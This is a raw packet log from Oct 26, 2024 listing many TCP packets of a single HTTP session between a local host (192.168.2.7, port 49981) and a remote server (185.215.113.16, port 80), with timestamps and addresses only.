Oct 26, 2024 08:54:00.757946014 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.757950068 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.757965088 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.757992029 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.757993937 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758004904 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758017063 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758029938 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758038998 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758039951 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758063078 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758070946 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758080959 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758083105 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758090019 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758095980 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758146048 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758167028 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758178949 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758189917 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758212090 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758224010 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758230925 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758235931 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758265972 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758305073 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758315086 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758342028 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758419991 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758431911 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758444071 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758454084 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758460999 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758476019 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758482933 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758487940 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758498907 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758507967 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758523941 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758552074 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758568048 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758579969 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758591890 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758610964 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758632898 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758637905 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758650064 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758660078 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.758687019 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.758718967 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.801224947 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.801244020 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.801256895 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.801269054 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.801284075 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.801289082 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.801332951 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.801351070 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.851788998 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.851830959 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.851875067 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871218920 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871237993 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871249914 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871260881 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871278048 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871285915 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871289015 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871308088 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871337891 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871342897 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871351004 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871362925 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871365070 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871373892 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871376038 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871387005 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871398926 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871407986 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871408939 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871421099 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871431112 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871438980 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871443033 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871459007 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871463060 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871476889 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871481895 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871488094 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871500969 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871506929 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871517897 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871525049 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871530056 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871546984 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871550083 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871561050 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871567965 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871572971 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871577024 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871603012 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871623039 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871625900 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871634960 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871654034 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871664047 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871670961 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871676922 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871687889 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871695995 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871700048 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871711016 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871711969 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871725082 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871737003 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871740103 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871763945 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871778965 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871779919 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871792078 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871803045 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.871823072 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871854067 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.871994019 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872004986 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872020960 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872030020 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872040033 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872042894 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872055054 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872061968 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872068882 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872078896 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872081041 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872102022 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872131109 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872241020 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872267008 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872276068 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872283936 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872298002 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872322083 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872364044 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872375011 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872386932 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872400045 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872423887 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872567892 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872579098 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872589111 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872606039 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872622013 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872636080 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872653008 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872664928 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872677088 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872679949 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872699976 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872709990 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872720003 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872725964 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872731924 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872786999 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872806072 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872809887 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872818947 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872833014 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872855902 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872873068 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872881889 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872884035 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872895956 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872912884 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872914076 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872927904 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872936964 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872940063 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872952938 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872965097 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.872965097 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872986078 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.872997999 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873004913 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873008013 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873020887 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873035908 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873039961 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873051882 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873056889 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873064995 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873075962 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873081923 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873086929 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873097897 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873125076 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873204947 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873223066 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873234034 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873245001 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873255968 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873262882 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873266935 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873281002 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873286963 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873296976 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873300076 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873306990 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873317003 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873322010 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873333931 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873346090 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873347998 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873358965 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873373985 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873389006 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873402119 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873431921 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873476028 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873486042 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873509884 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873517990 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873519897 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873545885 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873574018 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873579979 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873589993 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873600960 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873611927 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873615026 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873627901 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873652935 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873653889 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873667002 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873678923 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873708963 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873728037 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873732090 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873739958 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873752117 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873760939 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873770952 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873800039 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873812914 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873822927 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873831987 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873842955 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873852015 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873861074 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873868942 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873874903 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873886108 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.873893976 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.873923063 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.916424990 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.916446924 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.916461945 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.916479111 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.916492939 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.916501045 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.916548967 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986428976 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986455917 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986469984 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986479998 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986486912 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986490965 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986502886 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986522913 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986527920 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986527920 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986536026 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986556053 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986566067 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986571074 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986579895 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986584902 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986598969 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986615896 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986615896 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986627102 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986637115 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986638069 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986655951 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986664057 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986670971 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986682892 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986691952 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986696005 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986701965 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986706972 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986720085 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986730099 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986731052 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986742973 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986758947 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986758947 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986772060 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986774921 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986783028 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986789942 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986797094 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986810923 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986815929 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986823082 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986839056 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986843109 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986855984 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986860037 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986880064 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986893892 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986895084 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986906052 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986948013 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.986979961 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986989975 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.986999989 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.987013102 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.987018108 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.987023115 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.987031937 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.987056971 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.987133980 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.987145901 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.987154961 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.987174034 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.987186909 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.987189054 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.987199068 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.987219095 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.987231016 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.987236977 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.987241983 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.987253904 CEST	80	49981	185.215.113.16	192.168.2.7
